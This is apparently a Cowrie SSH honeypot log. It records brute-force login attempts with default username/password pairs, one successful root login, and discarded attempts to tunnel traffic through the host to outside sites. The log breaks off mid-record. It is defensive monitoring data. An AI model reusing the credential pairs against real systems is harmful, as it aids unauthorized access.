{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:51.270330Z","src_ip":"193.32.162.151","session":"bf04f5aab844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:52.375753Z","src_ip":"193.32.162.151","session":"bf04f5aab844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48798,"dst_ip":"10.17.0.5","dst_port":22,"session":"753bcf9e0ff7","protocol":"ssh","message":"New connection: 92.118.39.92:48798 (10.17.0.5:22) [session: 753bcf9e0ff7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:42.670743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:42.765114Z","src_ip":"92.118.39.92","session":"753bcf9e0ff7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:42.865932Z","src_ip":"92.118.39.92","session":"753bcf9e0ff7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:43.170494Z","src_ip":"92.118.39.92","session":"753bcf9e0ff7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:44.378855Z","src_ip":"92.118.39.92","session":"753bcf9e0ff7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":54854,"dst_ip":"159.203.135.109","dst_port":22,"session":"45e51b18b35a","protocol":"ssh","message":"New connection: 92.118.39.76:54854 (159.203.135.109:22) [session: 45e51b18b35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:56.198090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:56.203072Z","src_ip":"92.118.39.76","session":"45e51b18b35a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:56.307434Z","src_ip":"92.118.39.76","session":"45e51b18b35a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:56.627805Z","src_ip":"92.118.39.76","session":"45e51b18b35a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:52:57.737556Z","src_ip":"92.118.39.76","session":"45e51b18b35a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54482,"dst_ip":"159.203.135.109","dst_port":22,"session":"e08abd823c0f","protocol":"ssh","message":"New connection: 193.32.162.151:54482 (159.203.135.109:22) [session: e08abd823c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:03.969647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:03.998445Z","src_ip":"193.32.162.151","session":"e08abd823c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:04.073481Z","src_ip":"193.32.162.151","session":"e08abd823c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"password","message":"login attempt [hduser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:04.471542Z","src_ip":"193.32.162.151","session":"e08abd823c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:05.580808Z","src_ip":"193.32.162.151","session":"e08abd823c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":39594,"dst_ip":"159.203.135.109","dst_port":22,"session":"055003c24732","protocol":"ssh","message":"New connection: 77.90.185.17:39594 (159.203.135.109:22) [session: 055003c24732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:32.425846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:32.430256Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:32.541448Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:33.087672Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.195.239.56","dst_port":443,"src_ip":"77.90.185.17","src_port":48580,"message":"direct-tcp connection request to 54.195.239.56:443 from 127.0.0.1:48580","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:34.559437Z","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.195.239.56","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.195.239.56:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:34.675487Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.195.239.56","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Hv\\xd77\\xd0\\xea\\xcd\\xe7\\xcc\\x87'W\\\\\\xba\\xb9\\x12\\xbb\\xa7\\xc2'\\x8c\\xb4\\xb4\\xbc\\x9e9\\xd1\\xeb=\\x0e|F \\xd4*\\xed\\xe8\\xcc\\x10\\x84{\\xc6\\xa0Yj\\xfa&\\x90\\x86\\xb8\\xeb'\\xa4\\x0c\\x05\\xcd\\xe5\\xa9\\xc8\\x92\\x1c\\tA\\xbb\\xd2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb9#v\\x9c>\\xe9q\\xc2\\x03\\xf7\\xb2X\\xeb\\xdf\\x9b\\xf1\\xb7$l\\xaa?\\xec\\xdd\\xd2\\x19yG\\x95#Hfl\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 54.195.239.56:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03Hv\\xd77\\xd0\\xea\\xcd\\xe7\\xcc\\x87'W\\\\\\xba\\xb9\\x12\\xbb\\xa7\\xc2'\\x8c\\xb4\\xb4\\xbc\\x9e9\\xd1\\xeb=\\x0e|F \\xd4*\\xed\\xe8\\xcc\\x10\\x84{\\xc6\\xa0Yj\\xfa&\\x90\\x86\\xb8\\xeb'\\xa4\\x0c\\x05\\xcd\\xe5\\xa9\\xc8\\x92\\x1c\\tA\\xbb\\xd2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xb9#v\\x9c>\\xe9q\\xc2\\x03\\xf7\\xb2X\\xeb\\xdf\\x9b\\xf1\\xb7$l\\xaa?\\xec\\xdd\\xd2\\x19yG\\x95#Hfl\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:34.681735Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":49472,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:49472","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:35.929330Z","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:54:36.116245Z","src_ip":"77.90.185.17","session":"055003c24732","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8a[\\x13\\x97\\xa1i:\\xb3.\\xda\\x81y\\x88\\xa3\\x8e\\xbbr\\xce\\xae\\x13\\xb7\\x87z\\xac=\\x81\\x82\\x03:t2\\x04 \\x91H\\xad\\x01\\xaf\\xea\\t\\xf3\\x0f\"\\x19x\\x9d\\xbaN\\x0cM\\xe6\\x08\\xefz\\xaa\\xe7\\xb7\\xd2h\\xfd\\x1c\\x98%\\x7f\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x92\\xbbt\\x92@2\\xc72\\xa3\\xde7Y\\xf1/[\\xd9\\x9e\\xef\\xf9\\xdc\\x86\\x03\\xddn4\\x81\\xa6\\t>\\x00_w\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8a[\\x13\\x97\\xa1i:\\xb3.\\xda\\x81y\\x88\\xa3\\x8e\\xbbr\\xce\\xae\\x13\\xb7\\x87z\\xac=\\x81\\x82\\x03:t2\\x04 